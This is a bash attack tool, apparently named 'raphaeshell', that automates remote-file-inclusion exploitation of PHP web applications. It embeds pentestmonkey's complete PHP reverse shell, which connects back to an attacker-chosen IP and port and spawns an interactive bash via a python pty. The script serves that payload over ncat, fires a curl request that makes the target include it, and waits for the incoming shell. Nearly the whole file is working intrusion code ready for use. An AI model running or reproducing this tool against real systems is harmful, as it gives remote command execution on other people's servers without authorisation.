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#! /bin/bash
######################################################################
##x```
##|
##| .__ .__ .__ .__
##| ____________ ______ | |__ _____ ____ _____| |__ ____ | | | |
##| \_ __ \__ \ \____ \| | \\__ \ _/ __ \ / ___/ | \_/ __ \| | | |
##| | | \// __ \| |_> > Y \/ __ \\ ___/ \___ \| Y \ ___/| |_| |__
##| |__| (____ / __/|___| (____ /\___ >____ >___| /\___ >____/____/
##| \/|__| \/ \/ \/ \/ \/ \/
##|
##x```
############################################################
## Usage
##----------------------------------------------------------
## raphaeshell -s rfi_var http://ip/advanced_comment_system/index.php
##----------------------------------------------------------
# a very large variable.....
PHP_SHELL=$(cat <<'PHP_REVERSE_SHELL'
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. The author accepts no liability
// for damage caused by this tool. If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
ini_set('display_errors', 1);
set_time_limit (0);
$VERSION = "1.0";
$ip = isset($_REQUEST['h']) ? $_REQUEST['h'] : $_SERVER['REMOTE_ADDR'];
$port = $_REQUEST['p'] ? $_REQUEST['p'] : 443;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
// use python to get a tty
$shell = 'uname -a; w; id; export TERM=xterm; /usr/bin/python -c \'import pty; pty.spawn("/bin/bash")\'';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
die();
PHP_REVERSE_SHELL
)
LHTTP_PORT="80"
LSHELL_PORT="443"
LHOST=`ip addr show tap0 | grep -P "inet\b" | grep -oP "([0-9]{1,3}\.?){4}" | head -n 1`
if [ -z "$LHOST" ]; then
LHOST=`ip addr show eth0 | grep -P "inet\b" | grep -oP "([0-9]{1,3}\.?){4}" | head -n 1`
fi
if [ -z "$LHOST" ]; then
LHOST=`ip addr show wlp2s0 | grep -P "inet\b" | grep -oP "([0-9]{1,3}\.?){4}" | head -n 1`
fi
##|--------------------------------------------------------------------
##|## Actions
##--------------------------------------------------------------------
##
function shell_action {
if [ -z "${LHOST}" ] || [ -z "${REMOTE_ENDPOINT}" ]; then
$0 -h
exit 1
fi
$ME serve -l $LHOST -p $LHTTP_PORT -P $LSHELL_PORT &
NCAT_PID=$?
trap "kill -9 $NCAT_PID" SIGINT SIGTERM EXIT
echo "HTTP Server setup on port $LHTTP_PORT"
echo "Attempting connection to $REMOTE_ENDPOINT with a callback to $CALLBACK_ENDPOINT"
sh -c "sleep 1; curl -s $REMOTE_ENDPOINT \
--data '&$SHELL_PARAM=$CALLBACK_ENDPOINT?'" &
ncat -lvp $LSHELL_PORT
}
function crs_action {
echo "$PHP_SHELL"
}
##
##|### serve
##| serve php reverse shell
##x
function serve_action {
ncat -lvp $LHTTP_PORT --sh-exec "echo 'HTTP/1.1 200 OK\r\n'; $ME crs"
}
##
##|### help
##| displays help page
##x
function help_action {
if [ -z $MARKDOWN ]; then
echo face
cat $0 | grep -v "##x" | sed 's/##|[#]\+\?/##/g' | egrep -a --color '^##[\*#\|-]+?'
exit 1
fi
cat $0 | egrep -a '^##[x\|]' | sed 's/##[x|]//g'
exit 1
}
ACTION="shell_action"
## Options
##----------------------------------------------------------
while [[ $# -gt 0 ]] ; do
key="$1"
case $key in
help|serve|crs)
ACTION="${1}_action"
;;
##
## -s
## shell param
-s)
SHELL_PARAM="$2"
shift
;;
##
## -l
## Local IP - defaults to tap0, eth0, wlp2s0
-l)
LHOST="$2"
shift
;;
##
## -p
## Local http PORT - defaults to 80
##
## -p
## Local http PORT - defaults to 80
-p)
LHTTP_PORT="$2"
shift
;;
##
## -h | --help
## Display this help message
-h | --help)
ACTION="help_action"
break
;;
##
## -P
## Local shell PORT - defaults to 443
-P)
LSHELL_PORT="$2"
shift
;;
*)
REMOTE_ENDPOINT="$key"
esac
shift # past argument or value
done
#------
# private methods
set -e
path=`pwd`
ME=`realpath $0`
CALLBACK_ENDPOINT="http://$LHOST:$LHTTP_PORT"
type "$ACTION" 1>/dev/null || exit 1
$ACTION
exit
##--------------------------------------------------------------------
######################################################################
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